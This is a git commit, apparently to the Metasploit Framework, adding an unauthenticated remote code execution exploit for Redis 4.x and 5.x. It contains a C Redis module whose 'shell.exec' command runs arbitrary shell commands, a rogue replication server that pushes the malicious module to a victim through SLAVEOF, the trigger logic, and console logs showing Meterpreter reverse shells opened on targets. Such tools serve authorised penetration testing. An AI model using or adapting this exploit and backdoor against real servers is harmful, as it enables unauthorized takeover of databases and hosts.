Add doc and enhance the module.
This commit is contained in:
parent
b6697f5016
commit
07f3c074d4
|
@ -0,0 +1,35 @@
|
|||
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
|
||||
ifndef RM_INCLUDE_DIR
|
||||
RM_INCLUDE_DIR=../
|
||||
endif
|
||||
|
||||
ifndef RMUTIL_LIBDIR
|
||||
RMUTIL_LIBDIR=../rmutil
|
||||
endif
|
||||
|
||||
# find the OS
|
||||
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
|
||||
|
||||
# Compile flags for linux / osx
|
||||
ifeq ($(uname_S),Linux)
|
||||
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
|
||||
else
|
||||
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
|
||||
endif
|
||||
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
|
||||
CC=gcc
|
||||
|
||||
all: rmutil exp.so
|
||||
|
||||
rmutil: FORCE
|
||||
$(MAKE) -C $(RMUTIL_LIBDIR)
|
||||
|
||||
exp.so: exp.o
|
||||
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
|
||||
|
||||
clean:
|
||||
rm -rf *.xo *.so *.o
|
||||
|
||||
FORCE:
|
|
@ -0,0 +1,47 @@
|
|||
#include "redismodule.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (argc == 2) {
|
||||
size_t cmd_len;
|
||||
size_t size = 1024;
|
||||
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
|
||||
|
||||
FILE *fp = popen(cmd, "r");
|
||||
char *buf, *output;
|
||||
buf = (char *)malloc(size);
|
||||
output = (char *)malloc(size);
|
||||
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
|
||||
if (strlen(buf) + strlen(output) >= size) {
|
||||
output = realloc(output, size<<2);
|
||||
size <<= 1;
|
||||
}
|
||||
strcat(output, buf);
|
||||
}
|
||||
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
|
||||
RedisModule_ReplyWithString(ctx, ret);
|
||||
pclose(fp);
|
||||
} else {
|
||||
return RedisModule_WrongArity(ctx);
|
||||
}
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
|
||||
== REDISMODULE_ERR) return REDISMODULE_ERR;
|
||||
|
||||
if (RedisModule_CreateCommand(ctx, "shell.exec",
|
||||
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
|
||||
return REDISMODULE_ERR;
|
||||
|
||||
return REDISMODULE_OK;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,23 @@
|
|||
## Intro
|
||||
|
||||
This is a compiled shared object file of redis module.
|
||||
|
||||
## Load redis extension
|
||||
|
||||
```
|
||||
MODULE load ./exp.so
|
||||
```
|
||||
|
||||
## Run command
|
||||
|
||||
```
|
||||
redis-cli
|
||||
127.0.0.1:6379> shell.exec "whoami"
|
||||
```
|
||||
## Compile
|
||||
|
||||
You can modify the exp.c source code if you want.
|
||||
And the compile it to exp.so in current directory.
|
||||
```
|
||||
make
|
||||
```
|
|
@ -0,0 +1,171 @@
|
|||
## Description
|
||||
|
||||
This module exploits an unauthenticated code execution vulnerability in Redis 4.x and 5.x
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerable Application Link**
|
||||
|
||||
- Official Docker Images
|
||||
|
||||
https://hub.docker.com/_/redis/
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
|
||||
```
|
||||
docker pull redis
|
||||
docker run -p 6379:6379 -d --name redis_slave redis
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
- CUSTOM
|
||||
|
||||
IF `CUSTOM` set to true, this exploit would generate a source code file, and compile it to a redis module file during running, which is more undetectable.
|
||||
It's only worked on linux system.
|
||||
|
||||
For other scenarios, such as lack of gcc, or others opreate systems, framework could not compile the source for sucessful exploit, it uses the pre-compiled redis module to accomplish this exploit.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### set CUSTOM true (available only on linux)
|
||||
|
||||
```
|
||||
msf5 exploit(multi/redis/redis_unanth_rce) > options
|
||||
|
||||
Module options (exploit/multi/redis/redis_unanth_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CUSTOM true yes Whether compile payload file during exploiting
|
||||
PASSWORD foobared no Redis password for authentication test
|
||||
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
|
||||
RPORT 6379 yes The target port (TCP)
|
||||
SRVHOST 172.17.0.1 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 6666 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.17.0.1 yes The listen address (an interface may be specified)
|
||||
LPORT 8080 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(multi/redis/redis_unanth_rce) > set verbose false
|
||||
verbose => false
|
||||
msf5 exploit(multi/redis/redis_unanth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:8080
|
||||
[*] 127.0.0.1:6379 - Compile redis module extension file
|
||||
[+] 127.0.0.1:6379 - Payload generate successful!
|
||||
[*] 127.0.0.1:6379 - Listening on 172.17.0.1:6666
|
||||
[*] 127.0.0.1:6379 - Rogue server close...
|
||||
[*] 127.0.0.1:6379 - Sending command to trigger payload.
|
||||
[*] Sending stage (3021284 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 4 opened (172.17.0.1:8080 -> 172.17.0.2:49556) at 2019-07-19 11:58:52 -0400
|
||||
[!] 127.0.0.1:6379 - This exploit may require manual cleanup of './vxwqrg.so' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=999, gid=999, euid=999, egid=999
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
|
||||
### Set CUSTOM false (available on all system)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/redis/redis_unauth_exec
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > options
|
||||
|
||||
Module options (exploit/linux/redis/redis_unauth_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CUSTOM false yes Whether compile payload file during exploiting
|
||||
PASSWORD foobared no Redis password for authentication test
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 6379 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 6379 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set rhosts 172.16.6.226
|
||||
rhosts => 172.16.6.226
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set srvhost 172.16.6.1
|
||||
srvhost => 172.16.6.1
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set srvport 6666
|
||||
srvport => 6666
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set lhost 172.16.6.1
|
||||
lhost => 172.16.6.1
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set lport 9999
|
||||
lport => 9999
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > options
|
||||
|
||||
Module options (exploit/linux/redis/redis_unauth_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CUSTOM true yes Whether compile payload file during exploiting
|
||||
PASSWORD foobared no Redis password for authentication test
|
||||
RHOSTS 172.16.6.226 yes The target address range or CIDR identifier
|
||||
RPORT 6379 yes The target port (TCP)
|
||||
SRVHOST 172.16.6.1 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 6666 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.16.6.1 yes The listen address (an interface may be specified)
|
||||
LPORT 9999 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.6.1:9999
|
||||
[*] 172.16.6.226:6379 - Listening on 172.16.6.1:6666
|
||||
[*] 172.16.6.226:6379 - Rogue server close...
|
||||
[*] 172.16.6.226:6379 - Sending command to trigger payload.
|
||||
[*] Sending stage (3021284 bytes) to 172.16.6.226
|
||||
[*] Meterpreter session 3 opened (172.16.6.1:9999 -> 172.16.6.226:50362) at 2019-07-19 23:53:13 +0800
|
||||
[*] 172.16.6.226:6379 - Command Stager progress - 100.00% done (819/819 bytes)
|
||||
[!] 172.16.6.226:6379 - This exploit may require manual cleanup of './wfuujx.so' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=999, gid=999, euid=999, egid=999
|
||||
meterpreter > getpid
|
||||
Current pid: 173
|
||||
```
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Auxiliary::Redis
|
||||
|
||||
|
@ -14,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Redis Unauthenticated Code Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to leverage the extension functionality added by Redis 4.x and 5.x
|
||||
This module can be used to leverage the extension functionality added by Redis 4.x and 5.x
|
||||
to execute arbitrary code, to transmit the evil extension it makes use of the feature of Redis
|
||||
which called replication between master and slave.
|
||||
},
|
||||
|
@ -41,24 +42,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Nov 13 2018',
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
|
||||
},
|
||||
))
|
||||
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379),
|
||||
OptPath.new('LOCALFILE', [false, 'Local shared object file to be sync and load by redis']),
|
||||
#OptBool.new('FLUSHALL', [true, 'Run flushall to remove all redis data before saving', false])
|
||||
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload.']),
|
||||
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger evil function.']),
|
||||
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
|
||||
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger evil function. Random string as default.']),
|
||||
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
|
||||
]
|
||||
)
|
||||
deregister_options('URIPATH', 'THREADS', 'SSLCert')
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -79,48 +85,64 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
if check_custom
|
||||
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
|
||||
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
|
||||
else
|
||||
@module_init_name = "shell"
|
||||
@module_cmd = "shell.exec"
|
||||
end
|
||||
|
||||
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
|
||||
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
|
||||
|
||||
if srvhost == "0.0.0.0"
|
||||
if srvhost == "0.0.0.0"
|
||||
fail_with(Failure::BadConfig, "Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.")
|
||||
end
|
||||
|
||||
unless datastore['LOCALFILE']
|
||||
#
|
||||
# Prepare for payload.
|
||||
#
|
||||
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
|
||||
# It's only worked on linux system.
|
||||
#
|
||||
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
|
||||
#
|
||||
if check_custom
|
||||
buf = create_payload
|
||||
vprint_status(buf)
|
||||
|
||||
generate_code_file(buf)
|
||||
|
||||
compile_payload
|
||||
end
|
||||
|
||||
connect
|
||||
|
||||
#
|
||||
# Send the payload.
|
||||
#
|
||||
redis_command('SLAVEOF', srvhost, srvport.to_s)
|
||||
redis_command('CONFIG', 'SET', 'dbfilename', "#{File.basename(module_file)}")
|
||||
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
|
||||
::IO.select(nil, nil, nil, 2.0)
|
||||
|
||||
# start the rogue server
|
||||
start_rogue_server
|
||||
redis_command('MODULE', 'LOAD', "./#{File.basename(module_file)}")
|
||||
# waiting for victim to receive the payload.
|
||||
Rex.sleep(1)
|
||||
redis_command('MODULE', 'LOAD', "./#{module_file}")
|
||||
redis_command('SLAVEOF', 'NO', 'ONE')
|
||||
|
||||
#trigger
|
||||
redis_command("#{@module_cmd}")
|
||||
# Trigger it.
|
||||
print_status('Sending command to trigger payload.')
|
||||
pull_the_trigger
|
||||
|
||||
# clean up
|
||||
# Clean up
|
||||
Rex.sleep(2)
|
||||
redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
|
||||
register_file_for_cleanup("./#{File.basename(module_file)}")
|
||||
redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
|
||||
register_file_for_cleanup("./#{module_file}")
|
||||
#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
|
||||
#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
|
||||
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
#
|
||||
# we pretend to be a real redis server, and then slave the victim.
|
||||
# We pretend to be a real redis server, and then slave the victim.
|
||||
#
|
||||
def start_rogue_server
|
||||
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
|
||||
|
@ -131,16 +153,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# Start negotiation
|
||||
while true
|
||||
request = rsock.read(1024)
|
||||
vprint_status("in<<<"+request.inspect)
|
||||
vprint_status("in<<< "+request.inspect)
|
||||
response = ""
|
||||
finish = false
|
||||
|
||||
case
|
||||
case
|
||||
when request.include?("PING")
|
||||
response = "+PONG\r\n"
|
||||
when request.include?("REPLCONF")
|
||||
response = "+OK\r\n"
|
||||
when request.include?("PSYNC") || request.include?("SYNC")
|
||||
when request.include?("PSYNC") || request.include?("SYNC")
|
||||
response = "+FULLRESYNC " + 'Z'*40 + " 1\r\n"
|
||||
response << "$#{payload_bin.length}\r\n"
|
||||
response << "#{payload_bin}\r\n"
|
||||
|
@ -148,63 +170,88 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if response.length < 200
|
||||
vprint_status("out>>>"+response.inspect)
|
||||
vprint_status("out>>> "+response.inspect)
|
||||
else
|
||||
vprint_status("out>>>"+response.inspect[0..100]+ "......" + response.inspect[-100..-1])
|
||||
vprint_status("out>>> "+response.inspect[0..100]+ "......" + response.inspect[-100..-1])
|
||||
end
|
||||
|
||||
|
||||
rsock.put(response)
|
||||
|
||||
if finish
|
||||
print_status("Rogue server close...")
|
||||
rsock.close()
|
||||
socket.close()
|
||||
socket.close()
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def pull_the_trigger
|
||||
if check_custom
|
||||
redis_command("#{@module_cmd}")
|
||||
else
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parpare command stager for the pre-compiled payload.
|
||||
# And the command of module is hard-coded.
|
||||
#
|
||||
def execute_command(cmd, opts = {})
|
||||
redis_command("shell.exec","#{cmd.to_s}") rescue nil
|
||||
end
|
||||
|
||||
#
|
||||
# Generate source code file of payload to be compiled dynamicly.
|
||||
#
|
||||
def generate_code_file(buf)
|
||||
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
|
||||
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'w') { |file| file.write(ERB.new(template).result(binding))}
|
||||
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
|
||||
end
|
||||
|
||||
def compile_payload
|
||||
# cpu = nil
|
||||
# if target['Arch'] == ARCH_X86
|
||||
# cpu = Metasm::Ia32.new
|
||||
# elsif target['Arch'] == ARCH_X64
|
||||
# cpu = Metasm::X86_64.new
|
||||
# end
|
||||
#
|
||||
# begin
|
||||
# elf = Metasm::ELF.compile_c(cpu, main).encode_string
|
||||
# rescue
|
||||
# print_error "Metasm Encoding failed: #{$ERROR_INFO}"
|
||||
# elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
|
||||
# elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
|
||||
# return
|
||||
# end
|
||||
|
||||
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
|
||||
vprint_status("Clean old files")
|
||||
system("make -C #{File.dirname(make_file)}/rmutil clean")
|
||||
system("make -C #{File.dirname(make_file)} clean")
|
||||
vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
|
||||
vprint_status(%x|make -C #{File.dirname(make_file)} clean|)
|
||||
|
||||
print_status("Compile redis module extension file")
|
||||
if system("make -C #{File.dirname(make_file)} -f #{make_file}")
|
||||
res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
|
||||
if res.include? "true"
|
||||
print_good("Payload #{} generate successful! ")
|
||||
else
|
||||
print_error(res)
|
||||
fail_with(Failure::BadConfig, "Check config of gcc compiler.")
|
||||
end
|
||||
end
|
||||
|
||||
File.rename(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'), module_file)
|
||||
#
|
||||
# check the environment for compile payload to so file.
|
||||
#
|
||||
def check_env
|
||||
# check if linux
|
||||
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
|
||||
# check if gcc installed
|
||||
return false unless %x|command -v gcc && echo true|.include? "true"
|
||||
# check if ld installed
|
||||
return false unless %x|command -v ld && echo true|.include? "true"
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def check_custom
|
||||
return @custom_payload if @custom_payload
|
||||
|
||||
@custom_payload = false
|
||||
@custom_payload = true if check_env && datastore['CUSTOM']
|
||||
|
||||
@custom_payload
|
||||
end
|
||||
|
||||
def module_file
|
||||
return datastore['LOCALFILE'] if datastore['LOCALFILE'] && File.exist?(datastore['LOCALFILE'])
|
||||
@module_file ||= File.join(Msf::Config.data_directory, 'exploits', 'redis', "#{Rex::Text.rand_text_alpha_lower(4..8)}.so")
|
||||
return @module_file if @module_file
|
||||
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
|
||||
end
|
||||
|
||||
def create_payload
|
||||
|
@ -213,6 +260,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def payload_bin
|
||||
@payload_bin ||= File.read(module_file)
|
||||
return @payload_bin if @payload_bin
|
||||
if check_custom
|
||||
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
|
||||
else
|
||||
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
|
||||
end
|
||||
@payload_bin
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue